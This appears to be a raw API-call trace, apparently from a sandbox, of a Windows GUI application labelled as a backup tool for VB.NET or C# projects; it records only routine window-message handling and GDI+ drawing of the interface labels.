GetKeyState (nVirtKey=17) returned 0 [0225.181] GetKeyState (nVirtKey=18) returned -127 [0225.192] TranslateMessage (lpMsg=0x52ef98) returned 1 [0225.192] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0225.193] GetKeyState (nVirtKey=16) returned 0 [0225.193] GetKeyState (nVirtKey=17) returned 0 [0225.193] GetKeyState (nVirtKey=18) returned -127 [0225.194] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0225.194] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.194] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0225.218] IsWindowUnicode (hWnd=0x1016e) returned 1 [0225.218] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.218] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52eec0) returned 0x0 [0225.274] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec70 | out: lpwndpl=0x52ec70) returned 1 [0225.274] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52eec0) returned 0x0 [0225.274] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ec20 | out: lpRect=0x52ec20) returned 1 [0225.274] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ec20 | out: lpRect=0x52ec20) returned 1 [0225.274] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52eec0) returned 0x0 [0225.275] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0225.275] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0225.281] NtdllDefWindowProc_W () returned 0x0 [0225.281] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x0, lParam=0x560) returned 0x0 [0225.281] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x0, lParam=0x560) returned 0x0 [0225.281] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0225.281] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0225.281] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0225.281] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0225.281] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0225.281] TranslateMessage (lpMsg=0x52ef98) returned 0 [0225.281] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0225.281] BeginPaint (in: hWnd=0x1016e, lpPaint=0x52eaa4 | out: lpPaint=0x52eaa4) returned 0x1401007f [0225.281] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0225.283] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e800 | out: lpwndpl=0x52e800) returned 1 [0225.283] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e7ac | out: lpRect=0x52e7ac) returned 1 [0225.283] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0225.283] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0225.283] GetSystemMetrics (nIndex=42) returned 0 [0225.283] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e63c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0225.283] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e63c) returned 0x23 [0225.283] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e6b4 | out: lpRect=0x52e6b4) returned 1 [0225.283] GetCurrentObject (hdc=0x1401007f, type=0x1) returned 0x1b00017 [0225.283] GetCurrentObject (hdc=0x1401007f, type=0x2) returned 0x1900010 [0225.283] GetCurrentObject (hdc=0x1401007f, type=0x7) returned 0x110501d4 [0225.283] GetCurrentObject (hdc=0x1401007f, type=0x6) returned 0x18a002e [0225.283] SaveDC (hdc=0x1401007f) returned 1 [0225.283] GetNearestColor (hdc=0x1401007f, color=0xf0f0f0) returned 0xf0f0f0 [0225.283] CreateSolidBrush (color=0xf0f0f0) returned 0xd1006b3 [0225.283] FillRect (hDC=0x1401007f, lprc=0x52e554, hbr=0xd1006b3) returned 1 [0225.283] DeleteObject (ho=0xd1006b3) returned 1 [0225.283] RestoreDC (hdc=0x1401007f, nSavedDC=-1) returned 1 [0225.288] SelectPalette (hdc=0x1401007f, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0225.288] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0225.288] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0225.288] GetSystemMetrics (nIndex=42) returned 0 [0225.288] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52ea04, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0225.288] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52ea04) returned 0x23 [0225.288] SelectPalette (hdc=0x1401007f, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0225.288] EndPaint (hWnd=0x1016e, lpPaint=0x52eaa0) returned 1 [0225.288] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.288] IsWindowUnicode (hWnd=0x10172) returned 1 [0225.288] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.288] TranslateMessage (lpMsg=0x52ef98) returned 0 [0225.288] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0225.288] BeginPaint (in: hWnd=0x10172, lpPaint=0x52ea88 | out: lpPaint=0x52ea88) returned 0x701068c [0225.288] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0225.288] SelectPalette (hdc=0x701068c, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0225.288] CreateCompatibleDC (hdc=0x701068c) returned 0x6a010730 [0225.288] SelectObject (hdc=0x6a010730, h=0xa0506be) returned 0x185000f [0225.288] GdipCreateFromHDC (hdc=0x6a010730, graphics=0x52eaa0) returned 0x0 [0225.289] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0225.289] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=139, height=13, combineMode=0x0) returned 0x0 [0225.289] GdipCreateMatrix (matrix=0x52eae8) returned 0x0 [0225.289] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0225.289] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eb00) returned 0x0 [0225.289] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.289] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4a78) returned 0x0 [0225.289] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.289] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0225.289] GdipCreateRegion (region=0x52eae8) returned 0x0 [0225.289] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0225.289] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eaf4) returned 0x0 [0225.289] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb20) returned 0x0 [0225.289] GetWindowTextLengthW (hWnd=0x10172) returned 22 [0225.289] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0225.289] GetSystemMetrics (nIndex=42) returned 0 [0225.289] GetWindowTextW (in: hWnd=0x10172, lpString=0x52ea0c, nMaxCount=23 | out: lpString="Arborescence du projet") returned 22 [0225.289] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0xd, wParam=0x17, lParam=0x52ea0c) returned 0x16 [0225.290] GetClientRect (in: hWnd=0x10172, lpRect=0x52eae8 | out: lpRect=0x52eae8) returned 1 [0225.290] GdipCreateRegion (region=0x52e93c) returned 0x0 [0225.290] GdipGetClip (graphics=0x4da5930, region=0x4da5f00) returned 0x0 [0225.290] GdipCreateMatrix (matrix=0x52e93c) returned 0x0 [0225.290] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0225.290] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e954) returned 0x0 [0225.290] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.290] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0225.290] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.290] GdipCombineRegionRegion (region=0x4da5f00, region2=0x4da5c10, combineMode=0x1) returned 0x0 [0225.290] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.290] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0225.290] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.290] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0225.290] GdipIsInfiniteRegion (region=0x4da5f00, graphics=0x4da5930, result=0x52e97c) returned 0x0 [0225.290] GdipIsInfiniteRegion (region=0x4da5f00, graphics=0x4da5930, result=0x52e96c) returned 0x0 [0225.290] GdipGetRegionHRgn (region=0x4da5f00, graphics=0x4da5930, hRgn=0x52e96c) returned 0x0 [0225.290] GdipDeleteRegion (region=0x4da5f00) returned 0x0 [0225.290] GdipGetDC (graphics=0x4da5930, hdc=0x52e984) returned 0x0 [0225.290] GetCurrentObject (hdc=0x6a010730, type=0x1) returned 0x1b00017 [0225.290] GetCurrentObject (hdc=0x6a010730, type=0x2) returned 0x1900010 [0225.290] GetCurrentObject (hdc=0x6a010730, type=0x7) returned 0xa0506be [0225.290] GetCurrentObject (hdc=0x6a010730, type=0x6) returned 0x18a002e [0225.290] SaveDC (hdc=0x6a010730) returned 1 [0225.290] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2b0401e4 [0225.290] GetClipRgn (hdc=0x6a010730, hrgn=0x2b0401e4) returned 0 [0225.290] SelectClipRgn (hdc=0x6a010730, hrgn=0x54040221) returned 2 [0225.291] DeleteObject (ho=0x2b0401e4) returned 1 [0225.291] DeleteObject (ho=0x54040221) returned 1 [0225.291] OffsetViewportOrgEx (in: hdc=0x6a010730, x=0, y=0, lppt=0x2382fc4 | out: lppt=0x2382fc4) returned 1 [0225.291] GetNearestColor (hdc=0x6a010730, color=0xf0f0f0) returned 0xf0f0f0 [0225.291] CreateSolidBrush (color=0xf0f0f0) returned 0xe1006b3 [0225.291] FillRect (hDC=0x6a010730, lprc=0x52e988, hbr=0xe1006b3) returned 1 [0225.291] DeleteObject (ho=0xe1006b3) returned 1 [0225.291] RestoreDC (hdc=0x6a010730, nSavedDC=-1) returned 1 [0225.291] GdipReleaseDC (graphics=0x4da5930, hdc=0x6a010730) returned 0x0 [0225.291] GdipRestoreGraphics (graphics=0x4da5930, state=0xfdab0dbd) returned 0x0 [0225.291] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0225.291] GetWindowTextLengthW (hWnd=0x10172) returned 22 [0225.291] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0225.291] GetSystemMetrics (nIndex=42) returned 0 [0225.291] GetWindowTextW (in: hWnd=0x10172, lpString=0x52ea0c, nMaxCount=23 | out: lpString="Arborescence du projet") returned 22 [0225.291] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0xd, wParam=0x17, lParam=0x52ea0c) returned 0x16 [0225.291] GdipGetDC (graphics=0x4da5930, hdc=0x52e9a4) returned 0x0 [0225.291] GetCurrentObject (hdc=0x6a010730, type=0x1) returned 0x1b00017 [0225.291] GetCurrentObject (hdc=0x6a010730, type=0x2) returned 0x1900010 [0225.291] GetCurrentObject (hdc=0x6a010730, type=0x7) returned 0xa0506be [0225.291] GetCurrentObject (hdc=0x6a010730, type=0x6) returned 0x18a002e [0225.291] SaveDC (hdc=0x6a010730) returned 1 [0225.291] GetNearestColor (hdc=0x6a010730, color=0x0) returned 0x0 [0225.291] RestoreDC (hdc=0x6a010730, nSavedDC=-1) returned 1 [0225.291] GdipReleaseDC (graphics=0x4da5930, hdc=0x6a010730) returned 0x0 [0225.292] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0225.292] AdjustWindowRectEx (in: lpRect=0x52e8c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e8c8) returned 1 [0225.292] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e944) returned 0x0 [0225.292] GdipGetDC (graphics=0x4da5930, hdc=0x52e930) returned 0x0 [0225.292] GetCurrentObject (hdc=0x6a010730, type=0x1) returned 0x1b00017 [0225.292] GetCurrentObject (hdc=0x6a010730, type=0x2) returned 0x1900010 [0225.292] GetCurrentObject (hdc=0x6a010730, type=0x7) returned 0xa0506be [0225.292] GetCurrentObject (hdc=0x6a010730, type=0x6) returned 0x18a002e [0225.292] SaveDC (hdc=0x6a010730) returned 1 [0225.292] GetTextAlign (hdc=0x6a010730) returned 0x0 [0225.292] GetTextColor (hdc=0x6a010730) returned 0x0 [0225.292] GetCurrentObject (hdc=0x6a010730, type=0x6) returned 0x18a002e [0225.292] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e638 | out: pv=0x52e638) returned 92 [0225.292] SelectObject (hdc=0x6a010730, h=0xc0a01e7) returned 0x18a002e [0225.292] GetBkMode (hdc=0x6a010730) returned 2 [0225.293] SetBkMode (hdc=0x6a010730, mode=1) returned 2 [0225.293] DrawTextExW (in: hdc=0x6a010730, lpchText="Arborescence du projet", cchText=22, lprc=0x52e8c4, format=0x0, lpdtp=0x23834c4 | out: lpchText="Arborescence du projet", lprc=0x52e8c4) returned 13 [0225.293] RestoreDC (hdc=0x6a010730, nSavedDC=-1) returned 1 [0225.293] GdipReleaseDC (graphics=0x4da5930, hdc=0x6a010730) returned 0x0 [0225.293] GdipGetDC (graphics=0x4da5930, hdc=0x52eae0) returned 0x0 [0225.293] BitBlt (hdc=0x701068c, x=0, y=0, cx=139, cy=13, hdcSrc=0x6a010730, x1=0, y1=0, rop=0xcc0020) returned 1 [0225.293] GdipReleaseDC (graphics=0x4da5930, hdc=0x6a010730) returned 0x0 [0225.293] SelectPalette (hdc=0x701068c, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0225.293] SelectObject (hdc=0x6a010730, h=0x185000f) returned 0xa0506be [0225.293] DeleteDC (hdc=0x6a010730) returned 1 [0225.293] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0225.293] EndPaint (hWnd=0x10172, lpPaint=0x52ea84) returned 1 [0225.293] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.293] IsWindowUnicode (hWnd=0x10174) returned 1 [0225.293] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.294] TranslateMessage (lpMsg=0x52ef98) returned 0 [0225.294] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0225.294] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0225.294] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0225.297] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x14, wParam=0x60106b7, lParam=0x0) returned 0x1 [0225.297] SetTextColor (hdc=0x60106b7, color=0x0) returned 0x0 [0225.297] SetBkColor (hdc=0x60106b7, color=0xffffff) returned 0xffffff [0225.300] SetTextColor (hdc=0x60106b7, color=0x0) returned 0x0 [0225.300] SetBkColor (hdc=0x60106b7, color=0xffffff) returned 0xffffff [0225.303] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.303] IsWindowUnicode (hWnd=0x10178) returned 1 [0225.303] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.303] TranslateMessage (lpMsg=0x52ef98) returned 0 [0225.303] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0225.304] BeginPaint (in: hWnd=0x10178, lpPaint=0x52ea88 | out: lpPaint=0x52ea88) returned 0x100107ec [0225.304] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0225.304] SelectPalette (hdc=0x100107ec, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0225.304] CreateCompatibleDC (hdc=0x100107ec) returned 0x2c0106a3 [0225.304] SelectObject (hdc=0x2c0106a3, h=0xa0506be) returned 0x185000f [0225.304] GdipCreateFromHDC (hdc=0x2c0106a3, graphics=0x52eaa0) returned 0x0 [0225.304] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0225.304] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0225.304] GdipCreateMatrix (matrix=0x52eae8) returned 0x0 [0225.304] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0225.304] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eb00) returned 0x0 [0225.304] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.304] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4a78) returned 0x0 [0225.304] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.304] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0225.304] GdipCreateRegion (region=0x52eae8) returned 0x0 [0225.305] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0225.305] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eaf4) returned 0x0 [0225.305] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb20) returned 0x0 [0225.305] GetWindowTextLengthW (hWnd=0x10178) returned 23 [0225.305] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0225.305] GetSystemMetrics (nIndex=42) returned 0 [0225.305] GetWindowTextW (in: hWnd=0x10178, lpString=0x52ea0c, nMaxCount=24 | out: lpString="Repertoire Projet 2 : ") returned 23 [0225.305] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0xd, wParam=0x18, lParam=0x52ea0c) returned 0x17 [0225.305] GetClientRect (in: hWnd=0x10178, lpRect=0x52eae8 | out: lpRect=0x52eae8) returned 1 [0225.305] GdipCreateRegion (region=0x52e93c) returned 0x0 [0225.305] GdipGetClip (graphics=0x4da5930, region=0x4da5f00) returned 0x0 [0225.305] GdipCreateMatrix (matrix=0x52e93c) returned 0x0 [0225.305] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0225.305] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e954) returned 0x0 [0225.305] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.305] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0225.305] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.306] GdipCombineRegionRegion (region=0x4da5f00, region2=0x4da5c10, combineMode=0x1) returned 0x0 [0225.306] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.306] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0225.306] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.306] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0225.306] GdipIsInfiniteRegion (region=0x4da5f00, graphics=0x4da5930, result=0x52e97c) returned 0x0 [0225.306] GdipIsInfiniteRegion (region=0x4da5f00, graphics=0x4da5930, result=0x52e96c) returned 0x0 [0225.306] GdipGetRegionHRgn (region=0x4da5f00, graphics=0x4da5930, hRgn=0x52e96c) returned 0x0 [0225.306] GdipDeleteRegion (region=0x4da5f00) returned 0x0 [0225.306] GdipGetDC (graphics=0x4da5930, hdc=0x52e984) returned 0x0 [0225.306] GetCurrentObject (hdc=0x2c0106a3, type=0x1) returned 0x1b00017 [0225.306] GetCurrentObject (hdc=0x2c0106a3, type=0x2) returned 0x1900010 [0225.306] GetCurrentObject (hdc=0x2c0106a3, type=0x7) returned 0xa0506be [0225.306] GetCurrentObject (hdc=0x2c0106a3, type=0x6) returned 0x18a002e [0225.306] SaveDC (hdc=0x2c0106a3) returned 1 [0225.306] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x55040221 [0225.306] GetClipRgn (hdc=0x2c0106a3, hrgn=0x55040221) returned 0 [0225.306] SelectClipRgn (hdc=0x2c0106a3, hrgn=0x2e0401e4) returned 2 [0225.306] DeleteObject (ho=0x55040221) returned 1 [0225.306] DeleteObject (ho=0x2e0401e4) returned 1 [0225.306] OffsetViewportOrgEx (in: hdc=0x2c0106a3, x=0, y=0, lppt=0x238389c | out: lppt=0x238389c) returned 1 [0225.306] GetNearestColor (hdc=0x2c0106a3, color=0xc8c8c8) returned 0xc8c8c8 [0225.306] CreateSolidBrush (color=0xc8c8c8) returned 0xf1006b3 [0225.306] FillRect (hDC=0x2c0106a3, lprc=0x52e988, hbr=0xf1006b3) returned 1 [0225.306] DeleteObject (ho=0xf1006b3) returned 1 [0225.306] RestoreDC (hdc=0x2c0106a3, nSavedDC=-1) returned 1 [0225.307] GdipReleaseDC (graphics=0x4da5930, hdc=0x2c0106a3) returned 0x0 [0225.307] GdipRestoreGraphics (graphics=0x4da5930, state=0xfda90dbd) returned 0x0 [0225.307] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0225.307] GetWindowTextLengthW (hWnd=0x10178) returned 23 [0225.307] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0225.307] GetSystemMetrics (nIndex=42) returned 0 [0225.307] GetWindowTextW (in: hWnd=0x10178, lpString=0x52ea0c, nMaxCount=24 | out: lpString="Repertoire Projet 2 : ") returned 23 [0225.307] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0xd, wParam=0x18, lParam=0x52ea0c) returned 0x17 [0225.307] GdipGetDC (graphics=0x4da5930, hdc=0x52e9a4) returned 0x0 [0225.307] GetCurrentObject (hdc=0x2c0106a3, type=0x1) returned 0x1b00017 [0225.307] GetCurrentObject (hdc=0x2c0106a3, type=0x2) returned 0x1900010 [0225.307] GetCurrentObject (hdc=0x2c0106a3, type=0x7) returned 0xa0506be [0225.307] GetCurrentObject (hdc=0x2c0106a3, type=0x6) returned 0x18a002e [0225.307] SaveDC (hdc=0x2c0106a3) returned 1 [0225.307] GetNearestColor (hdc=0x2c0106a3, color=0x0) returned 0x0 [0225.307] RestoreDC (hdc=0x2c0106a3, nSavedDC=-1) returned 1 [0225.307] GdipReleaseDC (graphics=0x4da5930, hdc=0x2c0106a3) returned 0x0 [0225.307] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0225.307] AdjustWindowRectEx (in: lpRect=0x52e8c8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e8c8) returned 1 [0225.307] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e944) returned 0x0 [0225.307] GdipGetDC (graphics=0x4da5930, hdc=0x52e930) returned 0x0 [0225.307] GetCurrentObject (hdc=0x2c0106a3, type=0x1) returned 0x1b00017 [0225.308] GetCurrentObject (hdc=0x2c0106a3, type=0x2) returned 0x1900010 [0225.308] GetCurrentObject (hdc=0x2c0106a3, type=0x7) returned 0xa0506be [0225.308] GetCurrentObject (hdc=0x2c0106a3, type=0x6) returned 0x18a002e [0225.308] SaveDC (hdc=0x2c0106a3) returned 1 [0225.308] GetTextAlign (hdc=0x2c0106a3) returned 0x0 [0225.308] GetTextColor (hdc=0x2c0106a3) returned 0x0 [0225.308] GetCurrentObject (hdc=0x2c0106a3, type=0x6) returned 0x18a002e [0225.308] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e638 | out: pv=0x52e638) returned 92 [0225.308] SelectObject (hdc=0x2c0106a3, h=0xc0a01e7) returned 0x18a002e [0225.308] GetBkMode (hdc=0x2c0106a3) returned 2 [0225.308] SetBkMode (hdc=0x2c0106a3, mode=1) returned 2 [0225.308] DrawTextExW (in: hdc=0x2c0106a3, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x52e70c, format=0x404, lpdtp=0x2383d78 | out: lpchText="Repertoire Projet 2 : ", lprc=0x52e70c) returned 13 [0225.308] DrawTextExW (in: hdc=0x2c0106a3, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x52e8c4, format=0x4, lpdtp=0x2383d78 | out: lpchText="Repertoire Projet 2 : ", lprc=0x52e8c4) returned 13 [0225.308] RestoreDC (hdc=0x2c0106a3, nSavedDC=-1) returned 1 [0225.308] GdipReleaseDC (graphics=0x4da5930, hdc=0x2c0106a3) returned 0x0 [0225.308] GdipGetDC (graphics=0x4da5930, hdc=0x52eae0) returned 0x0 [0225.308] BitBlt (hdc=0x100107ec, x=0, y=0, cx=161, cy=21, hdcSrc=0x2c0106a3, x1=0, y1=0, rop=0xcc0020) returned 1 [0225.308] GdipReleaseDC (graphics=0x4da5930, hdc=0x2c0106a3) returned 0x0 [0225.309] SelectPalette (hdc=0x100107ec, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0225.309] SelectObject (hdc=0x2c0106a3, h=0x185000f) returned 0xa0506be [0225.309] DeleteDC (hdc=0x2c0106a3) returned 1 [0225.309] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0225.309] EndPaint (hWnd=0x10178, lpPaint=0x52ea84) returned 1 [0225.309] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.309] IsWindowUnicode (hWnd=0x1017c) returned 1 [0225.309] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.309] TranslateMessage (lpMsg=0x52ef98) returned 0 [0225.309] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0225.309] BeginPaint (in: hWnd=0x1017c, lpPaint=0x52ea88 | out: lpPaint=0x52ea88) returned 0x60106b7 [0225.309] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0225.309] SelectPalette (hdc=0x60106b7, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0225.309] CreateCompatibleDC (hdc=0x60106b7) returned 0x2f0106a3 [0225.309] SelectObject (hdc=0x2f0106a3, h=0xa0506be) returned 0x185000f [0225.309] GdipCreateFromHDC (hdc=0x2f0106a3, graphics=0x52eaa0) returned 0x0 [0225.309] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0225.309] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0225.310] GdipCreateMatrix (matrix=0x52eae8) returned 0x0 [0225.310] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0225.310] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eb00) returned 0x0 [0225.310] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.310] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4a78) returned 0x0 